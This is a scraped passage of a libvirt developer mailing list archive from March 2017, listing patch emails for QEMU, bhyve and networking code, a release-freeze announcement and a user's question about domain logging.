tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu7/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu7/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/kernel_max copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/online} (100%) copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/present} (100%) create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu0 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu1 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu2 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu3 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu4 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu5 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu6 create mode 120000 tests/vircaps2xmldata/linux-caches/node/node0/cpu7 copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/node/node0/cpulist} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/node/node0/meminfo copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/node/online} (100%) rename tests/{virhostcpudata/linux-raspberrypi/cpu => vircaps2xmldata/linux-caches/node}/possible (100%) create mode 100644 tests/vircaps2xmldata/vircaps-aarch64-basic.xml delete mode 100644 tests/vircaps2xmldata/vircaps-basic-4-4-2G.xml create mode 100644 tests/vircaps2xmldata/vircaps-x86_64-basic.xml create mode 100644 tests/vircaps2xmldata/vircaps-x86_64-caches.xml rename tests/virhostcpudata/{linux-f21-mustang => linux-caches1}/cpu/offline (100%) copy tests/virhostcpudata/{linux-f21-mustang => linux-caches1}/cpu/possible (100%) delete mode 100644 tests/virhostcpudata/linux-deconf-cpus/cpu/offline delete mode 100644 tests/virhostcpudata/linux-deconf-cpus/cpu/possible delete mode 100644 tests/virhostcpudata/linux-raspberrypi/cpu/offline delete mode 100644 tests/virhostcpudata/linux-rhelsa-3.19.0-mustang/cpu/offline delete mode 100644 tests/virhostcpudata/linux-subcores1/cpu/offline delete mode 100644 tests/virhostcpudata/linux-subcores1/cpu/possible delete mode 100644 tests/virhostcpudata/linux-subcores2/cpu/offline delete mode 100644 tests/virhostcpudata/linux-subcores2/cpu/possible delete mode 100644 tests/virhostcpudata/linux-subcores3/cpu/offline delete mode 100644 tests/virhostcpudata/linux-subcores3/cpu/possible create mode 100644 tests/virhostcpudata/linux-test1/cpu/online create mode 100644 tests/virhostcpudata/linux-test1/cpu/present create mode 100644 tests/virhostcpudata/linux-test2/cpu/online create mode 100644 tests/virhostcpudata/linux-test2/cpu/present create mode 100644 tests/virhostcpudata/linux-test3/cpu/online create mode 100644 tests/virhostcpudata/linux-test3/cpu/present create mode 100644 tests/virhostcpudata/linux-test4/cpu/online create mode 100644 tests/virhostcpudata/linux-test4/cpu/present create mode 100644 tests/virhostcpudata/linux-test5/cpu/online create mode 100644 tests/virhostcpudata/linux-test5/cpu/present create mode 100644 tests/virhostcpudata/linux-test6/cpu/online rename tests/virhostcpudata/{linux-f21-mustang/cpu/possible => linux-test6/cpu/present} (100%) create mode 100644 tests/virhostcpudata/linux-test7/cpu/online create mode 100644 tests/virhostcpudata/linux-test7/cpu/present delete mode 100644 tests/virhostcpudata/linux-test8/cpu/offline delete mode 100644 tests/virhostcpudata/linux-test8/cpu/possible create mode 100644 tests/virnumamock.c -- 2.12.0

3 29

[libvirt] Plan for next release
by Daniel Veillard 27 Mar '17

27 Mar '17

Hi all, if we want to release around the end of the month, I think we need to enter freeze on Monday end of day (for me europe) to try to get the release around the next week-end. I assume that work for everyone, if not please tell :-) Daniel -- Daniel Veillard | Red Hat Developers Tools http://developer.redhat.com/ veillard(a)redhat.com | libxml Gnome XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | virtualization library http://libvirt.org/

3 2

[libvirt] [PATCH] Fix build with GCC's static analysis
by Martin Kletzander 27 Mar '17

27 Mar '17

STREQ_NULLABLE returns true if both parameters are NULL. And that's not what we want here. We just want to skop comparing source nodes that don't have that info set. The function wouldn't make much sense with nodeName == NULL, so we don't need to check that. Moreover, the function's declaration uses ATTRIBUDE_NONNULL for nodeName, which not only means that function expects the parameter not to be NULL, but actually tells the compiler that it can optimize out the NULL checks. That way it could end up calling strcmp on NULL (either nodeformat or nodebacking). GCC figures this out if libvirt is compiled with lv_cv_static_analysis=yes, unfortunately not everyone uses that. Signed-off-by: Martin Kletzander <mkletzan(a)redhat.com> --- src/util/virstoragefile.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/util/virstoragefile.c b/src/util/virstoragefile.c index 3bcb69bf6206..0ac707962102 100644 --- a/src/util/virstoragefile.c +++ b/src/util/virstoragefile.c @@ -3809,8 +3809,8 @@ virStorageSourceFindByNodeName(virStorageSourcePtr top, *index = 0; for (tmp = top; tmp; tmp = tmp->backingStore) { - if (STREQ_NULLABLE(tmp->nodeformat, nodeName) || - STREQ_NULLABLE(tmp->nodebacking, nodeName)) + if ((tmp->nodeformat && STREQ(tmp->nodeformat, nodeName)) || + (tmp->nodebacking && STREQ(tmp->nodebacking, nodeName))) return tmp; if (index) -- 2.12.1

3 4

[libvirt] [PATCH v2 00/11] Fix saving/setting/restoring SR-IOV VF MAC address
by Laine Stump 27 Mar '17

27 Mar '17

I pushed the 1st 10 patches of this series. The rest of the series was ACKed as well, except patch 11, which is patch 01/11 in this repost. Michal had asked that the rewrite of the saving/restoring of MAC and vlan tag data use a more sane format for the data file (it has been just an unformatted plaintext file since the beginning, which has always bothered me, but not enough to change it.) The resulting JSON format file is *much* nicer, and will be easier to expand if we ever need to. Patches 2 - 11 were already ACKed and haven't been modified, but feel free to go over them again if you want :-) Laine Stump (11): util: new functions virNetDev(Save|Read|Set)NetConfig() util: use new virNetDev*NetConfig() functions for macvtap setup/teardown util: use new virNetDev*NetConfig() functions for hostdev setup/teardown util: replace virHostdevNetConfigReplace with ...(Save|Set)NetConfig() util: save hostdev network device config before unbinding from host driver util: after hostdev assignment, restore VF MAC address via setting admin MAC util: remove unused functions from virnetdev.c util: if setting admin MAC to 00:00:00:00:00:00 fails, try 02:00:00:00:00:00 util: try *really* hard to set the MAC address of an SRIOV VF util: log all setting of MAC addresses and vlan tags util: rename virHostdevNetConfigRestore() to virHostdevRestoreNetConfig() src/libvirt_private.syms | 7 +- src/util/virhostdev.c | 147 ++++++-- src/util/virnetdev.c | 855 +++++++++++++++++++++++++++++++------------- src/util/virnetdev.h | 29 +- src/util/virnetdevmacvlan.c | 40 ++- 5 files changed, 778 insertions(+), 300 deletions(-) -- 2.9.3

2 12

[libvirt] [PATCH 00/23] Add block write threshold event
by Peter Krempa 27 Mar '17

27 Mar '17

This is another version of the stuff that I've posted here: https://www.redhat.com/archives/libvir-list/2017-February/msg01391.html which was partially based on the very old discussion at https://www.redhat.com/archives/libvir-list/2015-May/msg00580.html This version fixes some of the review feedback that I've got and also fixes all the issues pointed out in the original cover letter since I managed to implement the node name detection in a way suitable for this. The event is useful for mgmt apps using thin-provisioned storage so that they don't have to poll for the disk filling all the time. Peter Krempa (23): qemu: driver: Don't call qemuDomainDetermineDiskChain on block jobs util: buffer: Add API to set indentation level to a given value util: storage: Split out useful bits of virStorageFileParseChainIndex util: storage: Add variables for node names into virStorageSource lib: Introduce event for tracking disk backing file write threshold qemu: monitor: Add support for BLOCK_WRITE_THRESHOLD event qemu: domain: Add helper to lookup disk by node name qemu: domain: Add helper to generate indexed backing store names qemu: process: Wire up firing of the VIR_DOMAIN_EVENT_ID_BLOCK_THRESHOLD event lib: Add API for setting the threshold size for VIR_DOMAIN_EVENT_ID_BLOCK_THRESHOLD virsh: Implement 'domblkthreshold' command to call virDomainSetBlockThreshold qemu: domain: Add helper to look up disk soruce by the backing store string qemu: implement qemuDomainSetBlockThreshold qemu: capabilities: add capability for query-named-block-nodes qmp cmd qemu: monitor: Add monitor infrastructure for query-named-block-nodes qemu: block: Add code to allow detection of auto-allocated node names tests: qemumonitorjson: Add test case for node name detection code tests: qemumonitorjson: Add long backing chain test case for node name detection tests: qemumonitorjson: Add case for two disks sharing a backing image tests: qemumonitorjson: Add relative image names for node name detection tests: qemumonitorjson: Test node name detection on networked storage qemu: monitor: Extract the top level format node when querying disks qemu: block: Add code to detect node names when necessary daemon/remote.c | 45 + examples/object-events/event-test.c | 19 + include/libvirt/libvirt-domain.h | 36 + src/Makefile.am | 1 + src/conf/domain_event.c | 97 + src/conf/domain_event.h | 15 + src/driver-hypervisor.h | 8 + src/libvirt-domain.c | 51 + src/libvirt_private.syms | 5 + src/libvirt_public.syms | 1 + src/qemu/qemu_block.c | 378 ++++ src/qemu/qemu_block.h | 51 + src/qemu/qemu_blockjob.c | 2 + src/qemu/qemu_capabilities.c | 4 + src/qemu/qemu_capabilities.h | 2 + src/qemu/qemu_domain.c | 102 + src/qemu/qemu_domain.h | 14 + src/qemu/qemu_driver.c | 80 +- src/qemu/qemu_monitor.c | 54 +- src/qemu/qemu_monitor.h | 20 + src/qemu/qemu_monitor_json.c | 91 +- src/qemu/qemu_monitor_json.h | 9 + src/qemu/qemu_process.c | 44 + src/remote/remote_driver.c | 34 + src/remote/remote_protocol.x | 33 +- src/remote_protocol-structs | 16 + src/util/virbuffer.c | 19 + src/util/virbuffer.h | 2 + src/util/virstoragefile.c | 108 +- src/util/virstoragefile.h | 15 + tests/qemucapabilitiesdata/caps_2.1.1.x86_64.xml | 1 + tests/qemucapabilitiesdata/caps_2.4.0.x86_64.xml | 2 + tests/qemucapabilitiesdata/caps_2.5.0.x86_64.xml | 2 + .../caps_2.6.0-gicv2.aarch64.xml | 2 + .../caps_2.6.0-gicv3.aarch64.xml | 2 + tests/qemucapabilitiesdata/caps_2.6.0.ppc64le.xml | 2 + tests/qemucapabilitiesdata/caps_2.6.0.x86_64.xml | 2 + tests/qemucapabilitiesdata/caps_2.7.0.s390x.xml | 2 + tests/qemucapabilitiesdata/caps_2.7.0.x86_64.xml | 2 + tests/qemucapabilitiesdata/caps_2.8.0.s390x.xml | 2 + tests/qemucapabilitiesdata/caps_2.8.0.x86_64.xml | 2 + tests/qemucapabilitiesdata/caps_2.9.0.x86_64.xml | 2 + .../qemumonitorjson-nodename-1.json | 268 +++ .../qemumonitorjson-nodename-1.result | 15 + .../qemumonitorjson-nodename-2.json | 2270 ++++++++++++++++++++ .../qemumonitorjson-nodename-2.result | 60 + .../qemumonitorjson-nodename-gluster.json | 135 ++ .../qemumonitorjson-nodename-gluster.result | 10 + .../qemumonitorjson-nodename-relative.json | 554 +++++ .../qemumonitorjson-nodename-relative.result | 31 + .../qemumonitorjson-nodename-same-backing.json | 316 +++ .../qemumonitorjson-nodename-same-backing.result | 11 + tests/qemumonitorjsontest.c | 120 ++ tools/virsh-domain.c | 85 + tools/virsh.pod | 8 + 55 files changed, 5243 insertions(+), 19 deletions(-) create mode 100644 src/qemu/qemu_block.c create mode 100644 src/qemu/qemu_block.h create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-1.json create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-1.result create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-2.json create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-2.result create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-gluster.json create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-gluster.result create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-relative.json create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-relative.result create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-same-backing.json create mode 100644 tests/qemumonitorjsondata/qemumonitorjson-nodename-same-backing.result -- 2.12.0

2 64

[libvirt] [PATCH] docs: make interface start mode element optional
by Laine Stump 27 Mar '17

27 Mar '17

This brings the libvirt version of this RNG file in line with the same file in netcf (as soon as the corresponding patch there is ACKed and pushed). There's no reason to require it when defining an interface (the config option it corresponds to is optional), and it isn't even output in the status of an interface. Resolves: https://bugzilla.redhat.com/1414404 --- docs/schemas/interface.rng | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/docs/schemas/interface.rng b/docs/schemas/interface.rng index 052703c..4bb08e9 100644 --- a/docs/schemas/interface.rng +++ b/docs/schemas/interface.rng @@ -279,17 +279,19 @@ </define> <define name="startmode"> - <element name="start"> - <attribute name="mode"> - <choice> - <value>onboot</value> - <value>none</value> - <value>hotplug</value> -  - </choice> - </attribute> - </element> + <optional> + <element name="start"> + <attribute name="mode"> + <choice> + <value>onboot</value> + <value>none</value> + <value>hotplug</value> +  + </choice> + </attribute> + </element> + </optional> </define> <!-- -- 2.9.3

2 1

[libvirt] Question about qemuDomainLogContextNew
by Liu Feng 27 Mar '17

27 Mar '17

Hi, Dear all I have a question, and need your help. I want to output some log message to "/var/log/libvirt/qemu/instance-xxxxxx" when guest kernel crashed, so I add following the code: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> static int qemuProcessHandleGuestPanic(qemuMonitorPtr mon ATTRIBUTE_UNUSED, virDomainObjPtr vm, void *opaque) { ...... + qemuDomainLogContextPtr logCtxt = NULL; + if (!(logCtxt = qemuDomainLogContextNew(driver, vm, QEMU_DOMAIN_LOG_CONTEXT_MODE_START))){ + VIR_WARN("Unable to open domainlog"); + goto cleanup; + } ...... } <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< But this code cannot get the logCtxt, logCtxt = qemuDomainLogContextNew(driver, vm, QEMU_DOMAIN_LOG_CONTEXT_MODE_START) always return NULL, so I CANNOT write message to log file. Really Need your help, Thanks! Thanks Feng

3 2

[libvirt] [PATCH] conf: don't ignore <target dev='blah'/> for macvtap interfaces
by Laine Stump 27 Mar '17

27 Mar '17

The parser had been clearing out *all* suggested device names for type='direct' (aka macvtap) interfaces. All of the code implementing macvtap allows for a user-specified device name, so we should allow it. In the case that an interface name starts with "macvtap" or "macvlan" though, we do still clear it out, just as we do with "vnet" (which is the prefix used for automatically generated tap device names), since those are the prefixes for the names we autogenerate for macvtap and macvlan devices. Resolves: https://bugzilla.redhat.com/1335798 --- docs/formatdomain.html.in | 6 +++--- src/conf/domain_conf.c | 6 +++++- src/conf/domain_conf.h | 4 ++++ 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/docs/formatdomain.html.in b/docs/formatdomain.html.in index 4a3123e..8a2294f 100644 --- a/docs/formatdomain.html.in +++ b/docs/formatdomain.html.in @@ -5125,9 +5125,9 @@ qemu-kvm -net nic,model=? /dev/null If no target is specified, certain hypervisors will automatically generate a name for the created tun device. This name can be manually specified, however the name <i>should not - start with either 'vnet' or 'vif'</i>, which are prefixes - reserved by libvirt and certain hypervisors. Manually specified - targets using these prefixes may be ignored. + start with either 'vnet', 'vif', 'macvtap', or 'macvlan'</i>, + which are prefixes reserved by libvirt and certain hypervisors. + Manually specified targets using these prefixes may be ignored. </p> <p> diff --git a/src/conf/domain_conf.c b/src/conf/domain_conf.c index 2139ab0..4b80018 100644 --- a/src/conf/domain_conf.c +++ b/src/conf/domain_conf.c @@ -9826,8 +9826,12 @@ virDomainNetDefParseXML(virDomainXMLOptionPtr xmlopt, def->data.direct.linkdev = dev; dev = NULL; - if (flags & VIR_DOMAIN_DEF_PARSE_INACTIVE) + if (ifname && + flags & VIR_DOMAIN_DEF_PARSE_INACTIVE && + (STRPREFIX(ifname, VIR_NET_GENERATED_MACVTAP_PREFIX) || + STRPREFIX(ifname, VIR_NET_GENERATED_MACVTAP_PREFIX))) { VIR_FREE(ifname); + } break; diff --git a/src/conf/domain_conf.h b/src/conf/domain_conf.h index 8e6d874..38a15f1 100644 --- a/src/conf/domain_conf.h +++ b/src/conf/domain_conf.h @@ -1033,6 +1033,10 @@ struct _virDomainNetDef { * by libvirt, and cannot be used for a persistent network name. */ # define VIR_NET_GENERATED_PREFIX "vnet" +/* except to macvtap/macvlan interfaces, which start with "macv(tap|lan) */ +# define VIR_NET_GENERATED_MACVTAP_PREFIX "macvtap" +# define VIR_NET_GENERATED_MACVLAN_PREFIX "macvlan" + typedef enum { VIR_DOMAIN_CHR_DEVICE_STATE_DEFAULT = 0, VIR_DOMAIN_CHR_DEVICE_STATE_CONNECTED, -- 2.9.3

2 1

[libvirt] Question about qemuDomainLogContextNew()
by Feng Feng24 Liu 27 Mar '17

27 Mar '17

Hi, Dear all I have a question, and need your help. 　　I want to output some log message to "/var/log/libvirt/qemu/instance-xxxxxx" when guest kernel crashed, so I add following the code: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> static int qemuProcessHandleGuestPanic(qemuMonitorPtr mon ATTRIBUTE_UNUSED, virDomainObjPtr vm, void *opaque) { ...... + qemuDomainLogContextPtr logCtxt = NULL; + if (!(logCtxt = qemuDomainLogContextNew(driver, vm, QEMU_DOMAIN_LOG_CONTEXT_MODE_START))){ + VIR_WARN("Unable to open domainlog"); + goto cleanup; + } ...... } <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< But this code cannot get the logCtxt, logCtxt = qemuDomainLogContextNew(driver, vm, QEMU_DOMAIN_LOG_CONTEXT_MODE_START) always return NULL, so I CANNOT write message to log file. Really Need your help, Thanks! Thanks Feng

1 0

[libvirt] [PATCH 0/2] Fix possible use-after-free when sending event message
by John Ferlan 27 Mar '17

27 Mar '17

Rework patches/logic most recently posted here: https://www.redhat.com/archives/libvir-list/2017-March/msg00072.html John Ferlan (2): daemon: Rework remoteClientFreeFunc cleanup loops into C macro remote: Fix possible use-after-free when sending event message daemon/remote.c | 158 +++++++++++++++++++------------------------------------- 1 file changed, 52 insertions(+), 106 deletions(-) -- 2.9.3

2 3

[libvirt] [PATCH v4 00/10] Add TLS support for migration
by John Ferlan 26 Mar '17

26 Mar '17

v3: http://www.redhat.com/archives/libvir-list/2017-March/msg00878.html Changes from v1 Patch 1: Fix the (false); to (0) Patch 2: New to adjust the other (false); in qemu_conf.c Patch 3: Alter the text slightly - also found that the client parameters are only required if *tls_x509_verify = 1, so adjust the descriptions to reflect that Patch 4: Alter the vnc_* and chardev_* descriptions to match the migrate_* Patch 5: Previous patch 3, ACK'd Patch 6: Previous patch 4, altered comments Patch 7: Previous patch 5, fixed commit message Patch 8: Previous patch 6, multiple changes: - Reduced verbosity of comments - Rework the ResetTLS logic (combined code, fetched tls-creds if necessary again) - Add the qemuProcessRecoverMigrationIn call to ResetTLS in the FINISH3 stage Patch 9: Previous patch 7, alter based on patch 7 adjustments vis-a-vis ResetTLS Patch 10: Previous patch 8, alter text of description to include "migrate" All changes were tested in my nested virt environment... A virsh qemu-monitor-command $DOM '{"execute":"query-migrate-parameters"}' after the migrations were completed (back and forth) returned "" for tls-creds and tls-hostname for each hostname (incoming and outgoing tests). John Ferlan (10): qemu: Create #define for TLS configuration setup. qemu: Replace macro usage of (false); with just (0) conf: Introduce migrate_tls_x509_cert_dir qemu: Update the TLS client verify descriptions for vnc and chardev Add new migration flag VIR_MIGRATE_TLS qemu: Add TLS params to _qemuMonitorMigrationParams qemu: Add job for qemuDomain{Add|Del}TLSObjects qemu: Set up the migration TLS objects for target qemu: Set up the migration TLS objects for source docs: Add news entry for Migration using TLS docs/news.xml | 8 + include/libvirt/libvirt-domain.h | 8 + src/qemu/libvirtd_qemu.aug | 5 + src/qemu/qemu.conf | 63 ++++++- src/qemu/qemu_conf.c | 47 +++-- src/qemu/qemu_conf.h | 4 + src/qemu/qemu_domain.c | 7 +- src/qemu/qemu_domain.h | 91 ++++++---- src/qemu/qemu_driver.c | 4 +- src/qemu/qemu_hotplug.c | 24 ++- src/qemu/qemu_hotplug.h | 2 + src/qemu/qemu_migration.c | 363 ++++++++++++++++++++++++++++++++++++- src/qemu/qemu_migration.h | 16 +- src/qemu/qemu_monitor.c | 11 +- src/qemu/qemu_monitor.h | 5 + src/qemu/qemu_monitor_json.c | 21 +++ src/qemu/qemu_process.c | 3 + src/qemu/test_libvirtd_qemu.aug.in | 3 + tests/qemumonitorjsontest.c | 25 ++- tools/virsh-domain.c | 7 + 20 files changed, 641 insertions(+), 76 deletions(-) -- 2.9.3

3 21

[libvirt] [PATCH 1/2] bhyve: helper function to probe hypervisor caps
by Roman Bogorodskiy 26 Mar '17

26 Mar '17

There are a number of functions in bhyve_capabilities.c that probe hypervisor capabilities by executing the bhyve(1) binary with the specific device arugment, checking error message (if any) and setting proper capability bit. As those are extremely similar, move this logic into a helper function and convert existing functions to use that. --- src/bhyve/bhyve_capabilities.c | 122 +++++++++++++++++------------------------ 1 file changed, 49 insertions(+), 73 deletions(-) diff --git a/src/bhyve/bhyve_capabilities.c b/src/bhyve/bhyve_capabilities.c index 4bf1d84fa..f72fdea41 100644 --- a/src/bhyve/bhyve_capabilities.c +++ b/src/bhyve/bhyve_capabilities.c @@ -193,121 +193,97 @@ virBhyveProbeGrubCaps(virBhyveGrubCapsFlags *caps) } static int -bhyveProbeCapsRTC_UTC(unsigned int *caps, char *binary) +bhyveProbeCapsDeviceHelper(unsigned int *caps, + char *binary, + const char *bus, + const char *device, + const char *errormsg, + unsigned int flag) { - char *help; + char *error; virCommandPtr cmd = NULL; - int ret = 0, exit; + int ret = -1, exit; cmd = virCommandNew(binary); - virCommandAddArg(cmd, "-h"); - virCommandSetErrorBuffer(cmd, &help); - if (virCommandRun(cmd, &exit) < 0) { - ret = -1; - goto out; - } + virCommandAddArgList(cmd, bus, device, NULL); + virCommandSetErrorBuffer(cmd, &error); + if (virCommandRun(cmd, &exit) < 0) + goto cleanup; - if (strstr(help, "-u:") != NULL) - *caps |= BHYVE_CAP_RTC_UTC; + if (strstr(error, errormsg) == NULL) + *caps |= flag; - out: - VIR_FREE(help); + ret = 0; + cleanup: + VIR_FREE(error); virCommandFree(cmd); return ret; } static int -bhyveProbeCapsAHCI32Slot(unsigned int *caps, char *binary) +bhyveProbeCapsRTC_UTC(unsigned int *caps, char *binary) { - char *error; + char *help; virCommandPtr cmd = NULL; int ret = 0, exit; cmd = virCommandNew(binary); - virCommandAddArgList(cmd, "-s", "0,ahci", NULL); - virCommandSetErrorBuffer(cmd, &error); + virCommandAddArg(cmd, "-h"); + virCommandSetErrorBuffer(cmd, &help); if (virCommandRun(cmd, &exit) < 0) { ret = -1; goto out; } - if (strstr(error, "pci slot 0:0: unknown device \"ahci\"") == NULL) - *caps |= BHYVE_CAP_AHCI32SLOT; + if (strstr(help, "-u:") != NULL) + *caps |= BHYVE_CAP_RTC_UTC; out: - VIR_FREE(error); + VIR_FREE(help); virCommandFree(cmd); return ret; } static int -bhyveProbeCapsNetE1000(unsigned int *caps, char *binary) +bhyveProbeCapsAHCI32Slot(unsigned int *caps, char *binary) { - char *error; - virCommandPtr cmd = NULL; - int ret = -1, exit; - - cmd = virCommandNew(binary); - virCommandAddArgList(cmd, "-s", "0,e1000", NULL); - virCommandSetErrorBuffer(cmd, &error); - if (virCommandRun(cmd, &exit) < 0) - goto cleanup; + return bhyveProbeCapsDeviceHelper(caps, binary, + "-s", + "0,ahci", + "pci slot 0:0: unknown device \"ahci\"", + BHYVE_CAP_AHCI32SLOT); +} - if (strstr(error, "pci slot 0:0: unknown device \"e1000\"") == NULL) - *caps |= BHYVE_CAP_NET_E1000; - ret = 0; - cleanup: - VIR_FREE(error); - virCommandFree(cmd); - return ret; +static int +bhyveProbeCapsNetE1000(unsigned int *caps, char *binary) +{ + return bhyveProbeCapsDeviceHelper(caps, binary, + "-s", + "0,e1000", + "pci slot 0:0: unknown device \"e1000\"", + BHYVE_CAP_NET_E1000); } static int bhyveProbeCapsLPC_Bootrom(unsigned int *caps, char *binary) { - char *error; - virCommandPtr cmd = NULL; - int ret = -1, exit; - - cmd = virCommandNew(binary); - virCommandAddArgList(cmd, "-l", "bootrom", NULL); - virCommandSetErrorBuffer(cmd, &error); - if (virCommandRun(cmd, &exit) < 0) - goto cleanup; - - if (strstr(error, "bhyve: invalid lpc device configuration 'bootrom'") == NULL) - *caps |= BHYVE_CAP_LPC_BOOTROM; - - ret = 0; - cleanup: - VIR_FREE(error); - virCommandFree(cmd); - return ret; + return bhyveProbeCapsDeviceHelper(caps, binary, + "-l", + "bootrom", + "bhyve: invalid lpc device configuration 'bootrom'", + BHYVE_CAP_LPC_BOOTROM); } static int bhyveProbeCapsFramebuffer(unsigned int *caps, char *binary) { - char *error; - virCommandPtr cmd = NULL; - int ret = -1, exit; - - cmd = virCommandNew(binary); - virCommandAddArgList(cmd, "-s", "0,fbuf", NULL); - virCommandSetErrorBuffer(cmd, &error); - if (virCommandRun(cmd, &exit) < 0) - goto cleanup; - - if (strstr(error, "pci slot 0:0: unknown device \"fbuf\"") == NULL) - *caps |= BHYVE_CAP_FBUF; - - ret = 0; - cleanup: - VIR_FREE(error); - virCommandFree(cmd); - return ret; + return bhyveProbeCapsDeviceHelper(caps, binary, + "-s", + "0,fbuf", + "pci slot 0:0: unknown device \"fbuf\"", + BHYVE_CAP_FBUF); } int -- 2.11.0

2 4

[libvirt] [PATCH] domaincapstest: add bhyve caps test
by Roman Bogorodskiy 26 Mar '17

26 Mar '17

* Extract filling bhyve capabilities from virBhyveDomainCapsBuild() into a new function virBhyveDomainCapsFill() to make testing easier by not having to mock firmware directory listing and hypervisor capabilities probing * Also, just presence of the firmware files is not sufficient to enable os.loader.supported, hypervisor should support UEFI boot too * Add tests to domaincapstest for the main caps possible flows: - when UEFI bootrom is supported - when video (fbus) is supported - neither of above is supported --- src/bhyve/bhyve_capabilities.c | 72 +++++++++++++++-------- src/bhyve/bhyve_capabilities.h | 3 + tests/Makefile.am | 4 ++ tests/domaincapsschemadata/bhyve_basic.x86_64.xml | 32 ++++++++++ tests/domaincapsschemadata/bhyve_fbuf.x86_64.xml | 49 +++++++++++++++ tests/domaincapsschemadata/bhyve_uefi.x86_64.xml | 41 +++++++++++++ tests/domaincapstest.c | 65 ++++++++++++++++++++ 7 files changed, 242 insertions(+), 24 deletions(-) create mode 100644 tests/domaincapsschemadata/bhyve_basic.x86_64.xml create mode 100644 tests/domaincapsschemadata/bhyve_fbuf.x86_64.xml create mode 100644 tests/domaincapsschemadata/bhyve_uefi.x86_64.xml diff --git a/src/bhyve/bhyve_capabilities.c b/src/bhyve/bhyve_capabilities.c index 4bf1d84fa..6f8be45c4 100644 --- a/src/bhyve/bhyve_capabilities.c +++ b/src/bhyve/bhyve_capabilities.c @@ -87,6 +87,44 @@ virBhyveCapsBuild(void) return NULL; } +int +virBhyveDomainCapsFill(virDomainCapsPtr caps, + unsigned int bhyvecaps, + virDomainCapsStringValuesPtr firmwares) +{ + caps->disk.supported = true; + VIR_DOMAIN_CAPS_ENUM_SET(caps->disk.diskDevice, + VIR_DOMAIN_DISK_DEVICE_DISK, + VIR_DOMAIN_DISK_DEVICE_CDROM); + + VIR_DOMAIN_CAPS_ENUM_SET(caps->disk.bus, + VIR_DOMAIN_DISK_BUS_SATA, + VIR_DOMAIN_DISK_BUS_VIRTIO); + + caps->os.supported = true; + + if (bhyvecaps & BHYVE_CAP_LPC_BOOTROM) { + caps->os.loader.supported = true; + VIR_DOMAIN_CAPS_ENUM_SET(caps->os.loader.type, + VIR_DOMAIN_LOADER_TYPE_PFLASH); + VIR_DOMAIN_CAPS_ENUM_SET(caps->os.loader.readonly, + VIR_TRISTATE_BOOL_YES); + + caps->os.loader.values.values = firmwares->values; + caps->os.loader.values.nvalues = firmwares->nvalues; + } + + + if (bhyvecaps & BHYVE_CAP_FBUF) { + caps->graphics.supported = true; + caps->video.supported = true; + VIR_DOMAIN_CAPS_ENUM_SET(caps->graphics.type, VIR_DOMAIN_GRAPHICS_TYPE_VNC); + VIR_DOMAIN_CAPS_ENUM_SET(caps->video.modelType, VIR_DOMAIN_VIDEO_TYPE_GOP); + } + return 0; +} + + virDomainCapsPtr virBhyveDomainCapsBuild(bhyveConnPtr conn, const char *emulatorbin, @@ -101,6 +139,7 @@ virBhyveDomainCapsBuild(bhyveConnPtr conn, size_t firmwares_alloc = 0; virBhyveDriverConfigPtr cfg = virBhyveDriverGetConfig(conn); const char *firmware_dir = cfg->firmwareDir; + virDomainCapsStringValuesPtr firmwares = NULL; if (!(caps = virDomainCapsNew(emulatorbin, machine, arch, virttype))) goto cleanup; @@ -111,46 +150,31 @@ virBhyveDomainCapsBuild(bhyveConnPtr conn, goto cleanup; } - caps->os.supported = true; - caps->os.loader.supported = true; - VIR_DOMAIN_CAPS_ENUM_SET(caps->os.loader.type, - VIR_DOMAIN_LOADER_TYPE_PFLASH); - VIR_DOMAIN_CAPS_ENUM_SET(caps->os.loader.readonly, - VIR_TRISTATE_BOOL_YES); + if (VIR_ALLOC(firmwares) < 0) + goto cleanup; if (virDirOpenIfExists(&dir, firmware_dir) > 0) { while ((virDirRead(dir, &entry, firmware_dir)) > 0) { - if (VIR_RESIZE_N(caps->os.loader.values.values, - firmwares_alloc, 